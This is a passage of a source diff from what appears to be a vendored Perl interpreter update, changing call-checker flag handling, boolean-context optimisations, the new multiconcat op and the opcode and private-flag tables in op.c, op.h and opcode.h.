     PERL_UNUSED_CONTEXT;
-    S_cv_get_call_checker(cv, ckfun_p, ckobj_p, NULL);
+    cv_get_call_checker_flags(cv, CALL_CHECKER_REQUIRE_GV, ckfun_p, ckobj_p,
+	&ckflags);
 }
 
 /*
-=for apidoc Am|void|cv_set_call_checker_flags|CV *cv|Perl_call_checker ckfun|SV *ckobj|U32 flags
+=for apidoc Am|void|cv_set_call_checker_flags|CV *cv|Perl_call_checker ckfun|SV *ckobj|U32 ckflags
 
 Sets the function that will be used to fix up a call to C<cv>.
 Specifically, the function is applied to an C<entersub> op tree for a
@@ -11979,8 +13525,9 @@
 subroutine call, not marked with C<&>, where the callee can be identified
 at compile time as C<cv>.
 
-The C-level function pointer is supplied in C<ckfun>, and an SV argument
-for it is supplied in C<ckobj>.  The function should be defined like this:
+The C-level function pointer is supplied in C<ckfun>, an SV argument for
+it is supplied in C<ckobj>, and control flags are supplied in C<ckflags>.
+The function should be defined like this:
 
     STATIC OP * ckfun(pTHX_ OP *op, GV *namegv, SV *ckobj)
 
@@ -11998,15 +13545,21 @@
 C<namegv> may not actually be a GV.  For efficiency, perl may pass a
 CV or other SV instead.  Whatever is passed can be used as the first
 argument to L</cv_name>.  You can force perl to pass a GV by including
-C<CALL_CHECKER_REQUIRE_GV> in the C<flags>.
+C<CALL_CHECKER_REQUIRE_GV> in the C<ckflags>.
 
+C<ckflags> is a bitset, in which only the C<CALL_CHECKER_REQUIRE_GV>
+bit currently has a defined meaning (for which see above).  All other
+bits should be clear.
+
 The current setting for a particular CV can be retrieved by
-L</cv_get_call_checker>.
+L</cv_get_call_checker_flags>.
 
 =for apidoc Am|void|cv_set_call_checker|CV *cv|Perl_call_checker ckfun|SV *ckobj
 
 The original form of L</cv_set_call_checker_flags>, which passes it the
-C<CALL_CHECKER_REQUIRE_GV> flag for backward-compatibility.
+C<CALL_CHECKER_REQUIRE_GV> flag for backward-compatibility.  The effect
+of that flag setting is that the check function is guaranteed to get a
+genuine GV as its C<namegv> argument.
 
 =cut
 */
@@ -12020,7 +13573,7 @@
 
 void
 Perl_cv_set_call_checker_flags(pTHX_ CV *cv, Perl_call_checker ckfun,
-				     SV *ckobj, U32 flags)
+				     SV *ckobj, U32 ckflags)
 {
     PERL_ARGS_ASSERT_CV_SET_CALL_CHECKER_FLAGS;
     if (ckfun == Perl_ck_entersub_args_proto_or_list && ckobj == (SV*)cv) {
@@ -12042,7 +13595,7 @@
 	    callmg->mg_flags |= MGf_REFCOUNTED;
 	}
 	callmg->mg_flags = (callmg->mg_flags &~ MGf_REQUIRE_GV)
-			 | (U8)(flags & MGf_REQUIRE_GV) | MGf_COPY;
+			 | (U8)(ckflags & MGf_REQUIRE_GV) | MGf_COPY;
     }
 }
 
@@ -12123,8 +13676,8 @@
     } else {
 	Perl_call_checker ckfun;
 	SV *ckobj;
-	U8 flags;
-	S_cv_get_call_checker(cv, &ckfun, &ckobj, &flags);
+	U32 ckflags;
+	cv_get_call_checker_flags(cv, 0, &ckfun, &ckobj, &ckflags);
 	if (CvISXSUB(cv) || !CvROOT(cv))
 	    S_entersub_alloc_targ(aTHX_ o);
 	if (!namegv) {
@@ -12134,7 +13687,7 @@
 	       the CV’s GV, unless this is an anonymous sub.  This is not
 	       ideal for lexical subs, as its stringification will include
 	       the package.  But it is the best we can do.  */
-	    if (flags & MGf_REQUIRE_GV) {
+	    if (ckflags & CALL_CHECKER_REQUIRE_GV) {
 		if (!CvANON(cv) && (!CvNAMED(cv) || CvNAME_HEK(cv)))
 		    namegv = CvGV(cv);
 	    }
@@ -12205,7 +13758,10 @@
 	if (kid->op_type == OP_NULL)
 	    kid = OpSIBLING(kid);
 	if (kid)
-	    kid->op_flags |= OPf_MOD;
+	    /* Historically, substr(delete $foo{bar},...) has been allowed
+	       with 4-arg substr.  Keep it working by applying entersub
+	       lvalue context.  */
+	    op_lvalue(kid, OP_ENTERSUB);
 
     }
     return o;
@@ -13085,9 +14641,9 @@
                 case OP_GV:
                     /* it may be a package var index */
 
-                    ASSUME(!(o->op_flags & ~(OPf_WANT|OPf_SPECIAL)));
+                    ASSUME(!(o->op_flags & ~(OPf_WANT|OPf_PARENS|OPf_SPECIAL)));
                     ASSUME(!(o->op_private & ~(OPpEARLY_CV)));
-                    if (  (o->op_flags &~ OPf_SPECIAL) != OPf_WANT_SCALAR
+                    if (  (o->op_flags & ~(OPf_PARENS|OPf_SPECIAL)) != OPf_WANT_SCALAR
                         || o->op_private != 0
                     )
                         break;
@@ -13485,19 +15041,68 @@
 
 /* See if the ops following o are such that o will always be executed in
  * boolean context: that is, the SV which o pushes onto the stack will
- * only ever be used by later ops with SvTRUE(sv) or similar.
+ * only ever be consumed by later ops via SvTRUE(sv) or similar.
  * If so, set a suitable private flag on o. Normally this will be
- * bool_flag; but if it's only possible to determine booleaness at run
- * time (e.g. sub f { ....; (%h || $y) }), then set maybe_flag instead.
+ * bool_flag; but see below why maybe_flag is needed too.
+ *
+ * Typically the two flags you pass will be the generic OPpTRUEBOOL and
+ * OPpMAYBE_TRUEBOOL, buts it's possible that for some ops those bits may
+ * already be taken, so you'll have to give that op two different flags.
+ *
+ * More explanation of 'maybe_flag' and 'safe_and' parameters.
+ * The binary logical ops &&, ||, // (plus 'if' and 'unless' which use
+ * those underlying ops) short-circuit, which means that rather than
+ * necessarily returning a truth value, they may return the LH argument,
+ * which may not be boolean. For example in $x = (keys %h || -1), keys
+ * should return a key count rather than a boolean, even though its
+ * sort-of being used in boolean context.
+ *
+ * So we only consider such logical ops to provide boolean context to
+ * their LH argument if they themselves are in void or boolean context.
+ * However, sometimes the context isn't known until run-time. In this
+ * case the op is marked with the maybe_flag flag it.
+ *
+ * Consider the following.
+ *
+ *     sub f { ....;  if (%h) { .... } }
+ *
+ * This is actually compiled as
+ *
+ *     sub f { ....;  %h && do { .... } }
+ *
+ * Here we won't know until runtime whether the final statement (and hence
+ * the &&) is in void context and so is safe to return a boolean value.
+ * So mark o with maybe_flag rather than the bool_flag.
+ * Note that there is cost associated with determining context at runtime
+ * (e.g. a call to block_gimme()), so it may not be worth setting (at
+ * compile time) and testing (at runtime) maybe_flag if the scalar verses
+ * boolean costs savings are marginal.
+ *
+ * However, we can do slightly better with && (compared to || and //):
+ * this op only returns its LH argument when that argument is false. In
+ * this case, as long as the op promises to return a false value which is
+ * valid in both boolean and scalar contexts, we can mark an op consumed
+ * by && with bool_flag rather than maybe_flag.
+ * For example as long as pp_padhv and pp_rv2hv return &PL_sv_zero rather
+ * than &PL_sv_no for a false result in boolean context, then it's safe. An
+ * op which promises to handle this case is indicated by setting safe_and
+ * to true.
  */
 
 static void
-S_check_for_bool_cxt(pTHX_ OP*o, U8 bool_flag, U8 maybe_flag)
+S_check_for_bool_cxt(OP*o, bool safe_and, U8 bool_flag, U8 maybe_flag)
 {
     OP *lop;
+    U8 flag = 0;
 
     assert((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR);
 
+    /* OPpTARGET_MY and boolean context probably don't mix well.
+     * If someone finds a valid use case, maybe add an extra flag to this
+     * function which indicates its safe to do so for this op? */
+    assert(!(   (PL_opargs[o->op_type] & OA_TARGLEX)
+             && (o->op_private & OPpTARGET_MY)));
+
     lop = o->op_next;
 
     while (lop) {
@@ -13522,7 +15127,7 @@
         case OP_XOR:
         case OP_COND_EXPR:
         case OP_GREPWHILE:
-            o->op_private |= bool_flag;
+            flag = bool_flag;
             lop = NULL;
             break;
 
@@ -13532,16 +15137,22 @@
          * that whatever follows consumes the arg only in boolean context
          * too.
          */
+        case OP_AND:
+            if (safe_and) {
+                flag = bool_flag;
+                lop = NULL;
+                break;
+            }
+            /* FALLTHROUGH */
         case OP_OR:
         case OP_DOR:
-        case OP_AND:
             if ((lop->op_flags & OPf_WANT) == OPf_WANT_VOID) {
-                o->op_private |= bool_flag;
+                flag = bool_flag;
                 lop = NULL;
             }
             else if (!(lop->op_flags & OPf_WANT)) {
                 /* unknown context - decide at runtime */
-                o->op_private |= maybe_flag;
+                flag = maybe_flag;
                 lop = NULL;
             }
             break;
@@ -13554,6 +15165,8 @@
         if (lop)
             lop = lop->op_next;
     }
+
+    o->op_private |= flag;
 }
 
 
@@ -14285,15 +15898,54 @@
             break;
         }
 
+	case OP_RV2AV:
+            if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, 0);
+            break;
+
 	case OP_RV2HV:
 	case OP_PADHV:
+            /*'keys %h' in void or scalar context: skip the OP_KEYS
+             * and perform the functionality directly in the RV2HV/PADHV
+             * op
+             */
+            if (o->op_flags & OPf_REF) {
+                OP *k = o->op_next;
+                U8 want = (k->op_flags & OPf_WANT);
+                if (   k
+                    && k->op_type == OP_KEYS
+                    && (   want == OPf_WANT_VOID
+                        || want == OPf_WANT_SCALAR)
+                    && !(k->op_private & OPpMAYBE_LVSUB)
+                    && !(k->op_flags & OPf_MOD)
+                ) {
+                    o->op_next     = k->op_next;
+                    o->op_flags   &= ~(OPf_REF|OPf_WANT);
+                    o->op_flags   |= want;
+                    o->op_private |= (o->op_type == OP_PADHV ?
+                                      OPpPADHV_ISKEYS : OPpRV2HV_ISKEYS);
+                    /* for keys(%lex), hold onto the OP_KEYS's targ
+                     * since padhv doesn't have its own targ to return
+                     * an int with */
+                    if (!(o->op_type ==OP_PADHV && want == OPf_WANT_SCALAR))
+                        op_null(k);
+                }
+            }
+
             /* see if %h is used in boolean context */
             if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
-                S_check_for_bool_cxt(aTHX_ o, OPpTRUEBOOL, OPpMAYBE_TRUEBOOL);
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, OPpMAYBE_TRUEBOOL);
+
+
             if (o->op_type != OP_PADHV)
                 break;
             /* FALLTHROUGH */
 	case OP_PADAV:
+            if (   o->op_type == OP_PADAV
+                && (o->op_flags & OPf_WANT) == OPf_WANT_SCALAR
+            )
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, 0);
+            /* FALLTHROUGH */
 	case OP_PADSV:
             /* Skip over state($x) in void context.  */
             if (oldop && o->op_private == (OPpPAD_STATE|OPpLVAL_INTRO)
@@ -14414,9 +16066,12 @@
 	    o->op_opt = 1;
 	    break;
 	
+	case OP_GREPWHILE:
+            if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, 0);
+            /* FALLTHROUGH */
 	case OP_COND_EXPR:
 	case OP_MAPWHILE:
-	case OP_GREPWHILE:
 	case OP_ANDASSIGN:
 	case OP_ORASSIGN:
 	case OP_DORASSIGN:
@@ -14448,6 +16103,8 @@
 	    break;
 
 	case OP_SUBST:
+            if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, 0);
 	    assert(!(cPMOP->op_pmflags & PMf_ONCE));
 	    while (cPMOP->op_pmstashstartu.op_pmreplstart &&
 		   cPMOP->op_pmstashstartu.op_pmreplstart->op_type == OP_NULL)
@@ -14781,9 +16438,32 @@
                 o->op_private &=
                         ~(OPpASSIGN_COMMON_SCALAR|OPpASSIGN_COMMON_RC1);
 
+            if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
+                S_check_for_bool_cxt(o, 1, OPpASSIGN_TRUEBOOL, 0);
 	    break;
         }
 
+        case OP_REF:
+            /* see if ref() is used in boolean context */
+            if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, OPpMAYBE_TRUEBOOL);
+            break;
+
+        case OP_LENGTH:
+            /* see if the op is used in known boolean context,
+             * but not if OA_TARGLEX optimisation is enabled */
+            if (   (o->op_flags & OPf_WANT) == OPf_WANT_SCALAR
+                && !(o->op_private & OPpTARGET_MY)
+            )
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, 0);
+            break;
+
+        case OP_POS:
+            /* see if the op is used in known boolean context */
+            if ((o->op_flags & OPf_WANT) == OPf_WANT_SCALAR)
+                S_check_for_bool_cxt(o, 1, OPpTRUEBOOL, 0);
+            break;
+
 	case OP_CUSTOM: {
 	    Perl_cpeep_t cpeep = 
 		XopENTRYCUSTOM(o, xop_peep);
@@ -15190,21 +16870,9 @@
 is a pointer to the C function that is to be added to that opcode's
 check chain, and C<old_checker_p> points to the storage location where a
 pointer to the next function in the chain will be stored.  The value of
-C<new_pointer> is written into the L</PL_check> array, while the value
+C<new_checker> is written into the L</PL_check> array, while the value
 previously stored there is written to C<*old_checker_p>.
 
-The function should be defined like this:
-
-    static OP *new_checker(pTHX_ OP *op) { ... }
-
-It is intended to be called in this manner:
-
-    new_checker(aTHX_ op)
-
-C<old_checker_p> should be defined like this:
-
-    static Perl_check_t old_checker_p;
-
 L</PL_check> is global to an entire process, and a module wishing to
 hook op checking may find itself invoked more than once per process,
 typically in different threads.  To handle that situation, this function
@@ -15226,9 +16894,22 @@
 is the usual case for most uses of op check hooking), it must chain the
 check function referenced by C<*old_checker_p>.
 
+Taken all together, XS code to hook an op checker should typically look
+something like this:
+
+    static Perl_check_t nxck_frob;
+    static OP *myck_frob(pTHX_ OP *op) {
+	...
+	op = nxck_frob(aTHX_ op);
+	...
+	return op;
+    }
+    BOOT:
+	wrap_op_checker(OP_FROB, myck_frob, &nxck_frob);
+
 If you want to influence compilation of calls to a specific subroutine,
-then use L</cv_set_call_checker> rather than hooking checking of all
-C<entersub> ops.
+then use L</cv_set_call_checker_flags> rather than hooking checking of
+all C<entersub> ops.
 
 =cut
 */

Modified: vendor/perl/dist/op.h
===================================================================
--- vendor/perl/dist/op.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/op.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -188,6 +188,8 @@
     SV        *sv;
     IV        iv;
     UV        uv;
+    char      *pv;
+    SSize_t   ssize;
 } UNOP_AUX_item;
 
 #ifdef USE_ITHREADS
@@ -520,7 +522,7 @@
 #  define	cMETHOPx_rclass(v) (cMETHOPx(v)->op_rclass_sv)
 #endif
 
-#  define	cMETHOPx_meth(v)	cSVOPx_sv(v)
+#define	cMETHOPx_meth(v)	cSVOPx_sv(v)
 
 #define	cGVOP_gv		cGVOPx_gv(PL_op)
 #define	cGVOPo_gv		cGVOPx_gv(o)
@@ -625,6 +627,15 @@
 #define ref(o, type) doref(o, type, TRUE)
 #endif
 
+
+/* translation table attached to OP_TRANS/OP_TRANSR ops */
+
+typedef struct {
+    Size_t size; /* number of entries in map[], not including final slot */
+    short map[1]; /* Unwarranted chumminess */
+} OPtrans_map;
+
+
 /*
 =head1 Optree Manipulation Functions
 
@@ -1098,10 +1109,13 @@
 #define MDEREF_SHIFT           7
 
 #if defined(PERL_IN_DOOP_C) || defined(PERL_IN_PP_C)
-static const char * const deprecated_above_ff_msg
-    = "Use of strings with code points over 0xFF as arguments to "
-      "%s operator is deprecated. This will be a fatal error in "
-      "Perl 5.28";
+#   define FATAL_ABOVE_FF_MSG                                       \
+      "Use of strings with code points over 0xFF as arguments to "  \
+      "%s operator is not allowed"
+#  define DEPRECATED_ABOVE_FF_MSG                                   \
+      "Use of strings with code points over 0xFF as arguments to "  \
+      "%s operator is deprecated. This will be a fatal error in "   \
+      "Perl 5.32"
 #endif
 
 

Modified: vendor/perl/dist/opcode.h
===================================================================
--- vendor/perl/dist/opcode.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/opcode.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -213,6 +213,7 @@
 	"subtract",
 	"i_subtract",
 	"concat",
+	"multiconcat",
 	"stringify",
 	"left_shift",
 	"right_shift",
@@ -329,7 +330,6 @@
 	"andassign",
 	"orassign",
 	"dorassign",
-	"method",
 	"entersub",
 	"leavesub",
 	"leavesublv",
@@ -358,6 +358,7 @@
 	"dump",
 	"goto",
 	"exit",
+	"method",
 	"method_named",
 	"method_super",
 	"method_redir",
@@ -617,6 +618,7 @@
 	"subtraction (-)",
 	"integer subtraction (-)",
 	"concatenation (.) or string",
+	"concatenation (.) or string",
 	"string",
 	"left bitshift (<<)",
 	"right bitshift (>>)",
@@ -733,7 +735,6 @@
 	"logical and assignment (&&=)",
 	"logical or assignment (||=)",
 	"defined or assignment (//=)",
-	"method lookup",
 	"subroutine entry",
 	"subroutine exit",
 	"lvalue subroutine return",
@@ -762,6 +763,7 @@
 	"dump",
 	"goto",
 	"exit",
+	"method lookup",
 	"method with known name",
 	"super with known name",
 	"redirect method with known name",
@@ -959,11 +961,9 @@
 #ifdef PERL_GLOBAL_STRUCT_INIT
 #  define PERL_PPADDR_INITED
 static const Perl_ppaddr_t Gppaddr[]
-#else
-#  ifndef PERL_GLOBAL_STRUCT
-#    define PERL_PPADDR_INITED
+#elif !defined(PERL_GLOBAL_STRUCT)
+#  define PERL_PPADDR_INITED
 EXT Perl_ppaddr_t PL_ppaddr[] /* or perlvars.h */
-#  endif
 #endif /* PERL_GLOBAL_STRUCT */
 #if (defined(DOINIT) && !defined(PERL_GLOBAL_STRUCT)) || defined(PERL_GLOBAL_STRUCT_INIT)
 #  define PERL_PPADDR_INITED
@@ -1035,6 +1035,7 @@
 	Perl_pp_subtract,
 	Perl_pp_i_subtract,
 	Perl_pp_concat,
+	Perl_pp_multiconcat,
 	Perl_pp_stringify,
 	Perl_pp_left_shift,
 	Perl_pp_right_shift,
@@ -1151,7 +1152,6 @@
 	Perl_pp_andassign,	/* implemented by Perl_pp_and */
 	Perl_pp_orassign,	/* implemented by Perl_pp_or */
 	Perl_pp_dorassign,	/* implemented by Perl_pp_defined */
-	Perl_pp_method,
 	Perl_pp_entersub,
 	Perl_pp_leavesub,
 	Perl_pp_leavesublv,
@@ -1180,6 +1180,7 @@
 	Perl_pp_dump,	/* implemented by Perl_pp_goto */
 	Perl_pp_goto,
 	Perl_pp_exit,
+	Perl_pp_method,
 	Perl_pp_method_named,
 	Perl_pp_method_super,
 	Perl_pp_method_redir,
@@ -1373,11 +1374,9 @@
 #ifdef PERL_GLOBAL_STRUCT_INIT
 #  define PERL_CHECK_INITED
 static const Perl_check_t Gcheck[]
-#else
-#  ifndef PERL_GLOBAL_STRUCT
-#    define PERL_CHECK_INITED
+#elif !defined(PERL_GLOBAL_STRUCT)
+#  define PERL_CHECK_INITED
 EXT Perl_check_t PL_check[] /* or perlvars.h */
-#  endif
 #endif
 #if (defined(DOINIT) && !defined(PERL_GLOBAL_STRUCT)) || defined(PERL_GLOBAL_STRUCT_INIT)
 #  define PERL_CHECK_INITED
@@ -1449,6 +1448,7 @@
 	Perl_ck_null,		/* subtract */
 	Perl_ck_null,		/* i_subtract */
 	Perl_ck_concat,		/* concat */
+	Perl_ck_null,		/* multiconcat */
 	Perl_ck_stringify,	/* stringify */
 	Perl_ck_bitop,		/* left_shift */
 	Perl_ck_bitop,		/* right_shift */
@@ -1460,10 +1460,10 @@
 	Perl_ck_cmp,		/* i_le */
 	Perl_ck_cmp,		/* ge */
 	Perl_ck_cmp,		/* i_ge */
-	Perl_ck_null,		/* eq */
-	Perl_ck_null,		/* i_eq */
-	Perl_ck_null,		/* ne */
-	Perl_ck_null,		/* i_ne */
+	Perl_ck_cmp,		/* eq */
+	Perl_ck_cmp,		/* i_eq */
+	Perl_ck_cmp,		/* ne */
+	Perl_ck_cmp,		/* i_ne */
 	Perl_ck_null,		/* ncmp */
 	Perl_ck_null,		/* i_ncmp */
 	Perl_ck_null,		/* slt */
@@ -1487,7 +1487,7 @@
 	Perl_ck_null,		/* not */
 	Perl_ck_bitop,		/* complement */
 	Perl_ck_bitop,		/* ncomplement */
-	Perl_ck_bitop,		/* scomplement */
+	Perl_ck_null,		/* scomplement */
 	Perl_ck_smartmatch,	/* smartmatch */
 	Perl_ck_fun,		/* atan2 */
 	Perl_ck_fun,		/* sin */
@@ -1565,7 +1565,6 @@
 	Perl_ck_null,		/* andassign */
 	Perl_ck_null,		/* orassign */
 	Perl_ck_null,		/* dorassign */
-	Perl_ck_method,		/* method */
 	Perl_ck_subr,		/* entersub */
 	Perl_ck_null,		/* leavesub */
 	Perl_ck_null,		/* leavesublv */
@@ -1594,6 +1593,7 @@
 	Perl_ck_null,		/* dump */
 	Perl_ck_null,		/* goto */
 	Perl_ck_fun,		/* exit */
+	Perl_ck_method,		/* method */
 	Perl_ck_null,		/* method_named */
 	Perl_ck_null,		/* method_super */
 	Perl_ck_null,		/* method_redir */
@@ -1857,6 +1857,7 @@
 	0x0001123e,	/* subtract */
 	0x0001121e,	/* i_subtract */
 	0x0001121e,	/* concat */
+	0x00000f1c,	/* multiconcat */
 	0x0000141e,	/* stringify */
 	0x0001121e,	/* left_shift */
 	0x0001121e,	/* right_shift */
@@ -1938,7 +1939,7 @@
 	0x00004b08,	/* keys */
 	0x00001b00,	/* delete */
 	0x00001b04,	/* exists */
-	0x00000140,	/* rv2hv */
+	0x00000148,	/* rv2hv */
 	0x00014204,	/* helem */
 	0x00024401,	/* hslice */
 	0x00024401,	/* kvhslice */
@@ -1973,7 +1974,6 @@
 	0x00000304,	/* andassign */
 	0x00000304,	/* orassign */
 	0x00000304,	/* dorassign */
-	0x00000e40,	/* method */
 	0x00002141,	/* entersub */
 	0x00000100,	/* leavesub */
 	0x00000100,	/* leavesublv */
@@ -2002,6 +2002,7 @@
 	0x00000d44,	/* dump */
 	0x00000d04,	/* goto */
 	0x00009b04,	/* exit */
+	0x00000e40,	/* method */
 	0x00000e40,	/* method_named */
 	0x00000e40,	/* method_super */
 	0x00000e40,	/* method_redir */
@@ -2199,6 +2200,8 @@
 #define OPpARG1_MASK            0x01
 #define OPpCOREARGS_DEREF1      0x01
 #define OPpENTERSUB_INARGS      0x01
+#define OPpPADHV_ISKEYS         0x01
+#define OPpRV2HV_ISKEYS         0x01
 #define OPpSORT_NUMERIC         0x01
 #define OPpTRANS_FROM_UTF       0x01
 #define OPpARGELEM_AV           0x02
@@ -2213,6 +2216,7 @@
 #define OPpARG2_MASK            0x03
 #define OPpAVHVSWITCH_MASK      0x03
 #define OPpARGELEM_HV           0x04
+#define OPpASSIGN_TRUEBOOL      0x04
 #define OPpCONST_SHORTCIRCUIT   0x04
 #define OPpDONT_INIT_GV         0x04
 #define OPpENTERSUB_HASTARG     0x04
@@ -2233,6 +2237,7 @@
 #define OPpITER_DEF             0x08
 #define OPpLVREF_ITER           0x08
 #define OPpMAYBE_LVSUB          0x08
+#define OPpMULTICONCAT_STRINGIFY 0x08
 #define OPpREVERSE_INPLACE      0x08
 #define OPpSORT_INPLACE         0x08
 #define OPpSPLIT_LEX            0x08
@@ -2256,11 +2261,12 @@
 #define OPpEARLY_CV             0x20
 #define OPpEVAL_RE_REPARSING    0x20
 #define OPpHUSH_VMSISH          0x20
+#define OPpKVSLICE              0x20
 #define OPpLVREF_HV             0x20
 #define OPpMAY_RETURN_CONSTANT  0x20
+#define OPpMULTICONCAT_FAKE     0x20
 #define OPpMULTIDEREF_DELETE    0x20
 #define OPpOPEN_IN_CRLF         0x20
-#define OPpSORT_QSORT           0x20
 #define OPpTRANS_COMPLEMENT     0x20
 #define OPpTRUEBOOL             0x20
 #define OPpDEREF                0x30
@@ -2270,13 +2276,16 @@
 #define OPpALLOW_FAKE           0x40
 #define OPpASSIGN_BACKWARDS     0x40
 #define OPpASSIGN_COMMON_SCALAR 0x40
+#define OPpCONCAT_NESTED        0x40
 #define OPpCONST_BARE           0x40
 #define OPpCOREARGS_SCALARMOD   0x40
 #define OPpENTERSUB_DB          0x40
 #define OPpEXISTS_SUB           0x40
 #define OPpFLIP_LINENUM         0x40
+#define OPpINDEX_BOOLNEG        0x40
 #define OPpLIST_GUESSED         0x40
 #define OPpLVAL_DEFER           0x40
+#define OPpMULTICONCAT_APPEND   0x40
 #define OPpOPEN_OUT_RAW         0x40
 #define OPpOUR_INTRO            0x40
 #define OPpPAD_STATE            0x40
@@ -2294,6 +2303,7 @@
 #define OPpOFFBYONE             0x80
 #define OPpOPEN_OUT_CRLF        0x80
 #define OPpPV_IS_UTF8           0x80
+#define OPpSORT_UNSTABLE        0x80
 #define OPpTRANS_DELETE         0x80
 START_EXTERN_C
 
@@ -2324,6 +2334,7 @@
     '<','U','T','F','\0',
     '>','U','T','F','\0',
     'A','M','P','E','R','\0',
+    'A','P','P','E','N','D','\0',
     'A','S','S','I','G','N','\0',
     'A','V','\0',
     'B','A','R','E','\0',
@@ -2372,6 +2383,8 @@
     'I','N','P','L','A','C','E','\0',
     'I','N','T','\0',
     'I','T','E','R','\0',
+    'K','E','Y','S','\0',
+    'K','V','S','L','I','C','E','\0',
     'L','E','X','\0',
     'L','I','N','E','N','U','M','\0',
     'L','V','\0',
@@ -2379,6 +2392,8 @@
     'L','V','I','N','T','R','O','\0',
     'L','V','S','U','B','\0',
     'M','A','R','K','\0',
+    'N','E','G','\0',
+    'N','E','S','T','E','D','\0',
     'N','O','(',')','\0',
     'N','O','I','N','I','T','\0',
     'N','O','V','E','R','\0',
@@ -2386,7 +2401,6 @@
     'O','U','R','I','N','T','R','\0',
     'O','U','T','B','I','N','\0',
     'O','U','T','C','R','\0',
-    'Q','S','O','R','T','\0',
     'R','E','F','C','\0',
     'R','E','P','A','R','S','E','\0',
     'R','E','P','L','1','S','T','\0',
@@ -2399,11 +2413,13 @@
     'S','T','A','B','L','E','\0',
     'S','T','A','T','E','\0',
     'S','T','R','I','C','T','\0',
+    'S','T','R','I','N','G','I','F','Y','\0',
     'S','U','B','\0',
     'S','V','\0',
     'T','A','R','G','\0',
     'T','A','R','G','M','Y','\0',
     'U','N','I','\0',
+    'U','N','S','T','A','B','L','E','\0',
     'U','T','F','\0',
     'k','e','y','\0',
     'o','f','f','s','e','t','\0',
@@ -2426,14 +2442,14 @@
 EXTCONST I16 PL_op_private_bitfields[] = {
     0, 8, -1,
     0, 8, -1,
-    0, 539, -1,
+    0, 583, -1,
     0, 8, -1,
     0, 8, -1,
-    0, 546, -1,
-    0, 535, -1,
-    1, -1, 0, 512, 1, 33, 2, 283, -1,
-    4, -1, 1, 164, 2, 171, 3, 178, -1,
-    4, -1, 0, 512, 1, 33, 2, 283, 3, 110, -1,
+    0, 590, -1,
+    0, 579, -1,
+    1, -1, 0, 547, 1, 40, 2, 290, -1,
+    4, -1, 1, 171, 2, 178, 3, 185, -1,
+    4, -1, 0, 547, 1, 40, 2, 290, 3, 117, -1,
 
 };
 
@@ -2453,20 +2469,20 @@
       12, /* gelem */
       13, /* padsv */
       16, /* padav */
-      20, /* padhv */
+      21, /* padhv */
       -1, /* padany */
-      26, /* rv2gv */
-      33, /* rv2sv */
-      38, /* av2arylen */
-      40, /* rv2cv */
+      28, /* rv2gv */
+      35, /* rv2sv */
+      40, /* av2arylen */
+      42, /* rv2cv */
       -1, /* anoncode */
        0, /* prototype */
        0, /* refgen */
        0, /* srefgen */
-       0, /* ref */
-      47, /* bless */
-      48, /* backtick */
-      47, /* glob */
+      49, /* ref */
+      52, /* bless */
+      53, /* backtick */
+      52, /* glob */
        0, /* readline */
       -1, /* rcatline */
        0, /* regcmaybe */
@@ -2474,20 +2490,20 @@
        0, /* regcomp */
       -1, /* match */
       -1, /* qr */
-      -1, /* subst */
+      58, /* subst */
        0, /* substcont */
-      53, /* trans */
-      53, /* transr */
-      60, /* sassign */
-      63, /* aassign */
+      59, /* trans */
+      59, /* transr */
+      66, /* sassign */
+      69, /* aassign */
        0, /* chop */
        0, /* schop */
-      68, /* chomp */
-      68, /* schomp */
+      75, /* chomp */
+      75, /* schomp */
        0, /* defined */
        0, /* undef */
        0, /* study */
-      38, /* pos */
+      77, /* pos */
        0, /* preinc */
        0, /* i_preinc */
        0, /* predec */
@@ -2496,22 +2512,23 @@
        0, /* i_postinc */
        0, /* postdec */
        0, /* i_postdec */
-      70, /* pow */
-      70, /* multiply */
-      70, /* i_multiply */
-      70, /* divide */
-      70, /* i_divide */
-      70, /* modulo */
-      70, /* i_modulo */
-      72, /* repeat */
-      70, /* add */
-      70, /* i_add */
-      70, /* subtract */
-      70, /* i_subtract */
-      70, /* concat */
-      74, /* stringify */
-      70, /* left_shift */
-      70, /* right_shift */
+      80, /* pow */
+      80, /* multiply */
+      80, /* i_multiply */
+      80, /* divide */
+      80, /* i_divide */
+      80, /* modulo */
+      80, /* i_modulo */
+      82, /* repeat */
+      80, /* add */
+      80, /* i_add */
+      80, /* subtract */
+      80, /* i_subtract */
+      84, /* concat */
+      87, /* multiconcat */
+      93, /* stringify */
+      80, /* left_shift */
+      80, /* right_shift */
       12, /* lt */
       12, /* i_lt */
       12, /* gt */
@@ -2536,9 +2553,9 @@
       12, /* bit_and */
       12, /* bit_xor */
       12, /* bit_or */
-      70, /* nbit_and */
-      70, /* nbit_xor */
-      70, /* nbit_or */
+      80, /* nbit_and */
+      80, /* nbit_xor */
+      80, /* nbit_or */
       12, /* sbit_and */
       12, /* sbit_xor */
       12, /* sbit_or */
@@ -2546,114 +2563,114 @@
        0, /* i_negate */
        0, /* not */
        0, /* complement */
-      68, /* ncomplement */
-      68, /* scomplement */
+      75, /* ncomplement */
+      75, /* scomplement */
       12, /* smartmatch */
-      74, /* atan2 */
-      68, /* sin */
-      68, /* cos */
-      74, /* rand */
-      74, /* srand */
-      68, /* exp */
-      68, /* log */
-      68, /* sqrt */
-      68, /* int */
-      68, /* hex */
-      68, /* oct */
-      68, /* abs */
-      68, /* length */
-      76, /* substr */
-      79, /* vec */
-      74, /* index */
-      74, /* rindex */
-      47, /* sprintf */
-      47, /* formline */
-      68, /* ord */
-      68, /* chr */
-      74, /* crypt */
+      93, /* atan2 */
+      75, /* sin */
+      75, /* cos */
+      93, /* rand */
+      93, /* srand */
